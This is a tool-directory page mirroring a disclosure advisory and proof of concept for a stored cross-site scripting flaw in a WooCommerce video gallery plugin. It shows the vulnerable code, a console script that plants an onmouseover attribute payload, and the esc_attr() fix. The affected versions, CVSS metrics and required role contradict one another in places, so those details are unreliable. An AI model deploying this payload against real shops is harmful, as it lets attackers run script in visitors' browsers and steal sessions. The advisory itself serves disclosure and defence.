Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-10104-POC — Product Video Gallery for Woocommerce <= 1.5.1.8 - Authenticated Stored Cross-Site Scripting Proof of Concept | Kitploit
Tools/GitHubGitHub/ravi-lk/cve-2026-10104-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubravi-lk/cve-2026-10104-poc

CVE-2026-10104-POC

Product Video Gallery for Woocommerce <= 1.5.1.8 - Authenticated Stored Cross-Site Scripting Proof of Concept

View Repository
2432 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-10104: Stored Cross-Site Scripting in Product Video Gallery for WooCommerce

Summary

DetailValue
CVE IDCVE-2026-10104
PluginProduct Video Gallery for WooCommerce
VendorTechnoSoft Webs (NikHiL Gadhiya)
TypeStored Cross-Site Scripting (XSS)
CWECWE-79 — Improper Neutralization of Input During Web Page Generation
CVSS 3.14.4 (Medium)
Affected Versions≤ 1.5.1.6
Fixed Version1.5.1.9
Requires AuthenticationYes — Contributor+ (any role that can edit products)
Discovered byRavindu Lakmina Munaweera

Description

The Product Video Gallery for WooCommerce plugin for WordPress (versions up to and including 1.5.1.6) is vulnerable to Stored Cross-Site Scripting (XSS) via the custom_thumbnail product meta parameter.

The plugin's save_wc_video_url_field() method sanitizes the custom_thumbnail[] POST parameter using sanitize_text_field(), which strips HTML tags but does not strip double-quote (") characters. On the frontend, the stored value is inserted directly into an `` tag's attributes in nickx_get_video_thumbanil_html() without esc_attr() escaping. This allows an authenticated attacker to inject arbitrary HTML event handler attributes (e.g., onmouseover, onerror) that execute JavaScript in the browser of any visitor — including unauthenticated users — who views the affected product page.


CVSS 3.1 Vector

root@kitploit:~
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
MetricValue
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow
User InteractionNone
ScopeChanged
Confidentiality ImpactLow
Integrity ImpactLow
Availability ImpactNone

Affected Code

Sink (Output — No Escaping)

File: public/class-rendering.php
Method: nickx_get_video_thumbanil_html()

root@kitploit:~
// Line 365 — value inserted without esc_attr()
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
    ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
    : '';

// Line 379 — rendered inside  tag on the public frontend
echo '';

Source (Save — Insufficient Sanitization)

File: admin/class-video-field.php
Method: save_wc_video_url_field()

root@kitploit:~
// Line 309-310 — sanitize_text_field() strips tags but NOT double quotes
if ( isset( $_POST['custom_thumbnail'] ) ) {
    update_post_meta( $post_id, '_custom_thumbnail', 
        array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}

Proof of Concept

Prerequisites

  • WordPress with WooCommerce installed
  • Plugin: Product Video Gallery for WooCommerce ≤ 1.5.1.6
  • A WooCommerce product with a YouTube video URL configured
  • An account with product editing privileges (Shop Manager, Author, etc.)

Steps to Reproduce

  1. Log in as a Shop Manager (attacker).

  2. Navigate to Products → Edit any product with a video URL set in the "Product Video Url" field.

  3. Open browser Developer Tools (F12) → Console tab.

  4. Paste and execute the following JavaScript:

root@kitploit:~
const form = document.getElementById('post');

// Set thumbnail ID to a non-empty value (required by render condition)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }

// Inject XSS payload via custom_thumbnail
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
  1. Click "Update" to save the product.

  2. Open the product page on the frontend in an incognito/private window (unauthenticated).

  3. Hover over the video thumbnail in the product gallery.

  4. ✅ JavaScript alert executes, confirming Stored XSS.

image
image

Rendered Output

root@kitploit:~

The injected " closes the custom_thumbnail attribute, and onmouseover becomes a new executable attribute on the `` element.


Impact

  • Stored XSS executes on the public frontend for all visitors, including unauthenticated users
  • Attackers can steal session cookies and hijack admin accounts
  • Attackers can redirect customers to phishing or malware distribution sites
  • Attackers can deface product pages or inject cryptominers
  • Requires only Contributor-level access to exploit

Remediation

Apply esc_attr() to the custom thumbnail value before inserting it into the HTML attribute:

root@kitploit:~
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
-     ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
-     : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
+     ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"' 
+     : '';

This same fix should be applied to all instances in nickx_get_video_thumbanil_html() where $custom_thumbnail is constructed (both the array and non-array code paths).


Disclosure Timeline

DateEvent
2026-03-20Vulnerability discovered
2026-03-20Reported to Wordfence (CNA)
2026-05-29CVE ID assigned: CVE-2026-10104
2026-07-01Public disclosure

Credits

  • Discovered by: Ravindu Lakmina Munaweera
  • CVE assigned by: Wordfence (CNA)
  • CVE ORG

References

  • CVE-2026-10104
  • WordPress Plugin Page
  • Wordfence Vulnerability Database Entry
  • CWE-79: Cross-site Scripting
  • OWASP XSS Prevention Cheat Sheet

License

This advisory is released under CC BY 4.0.

Download Tool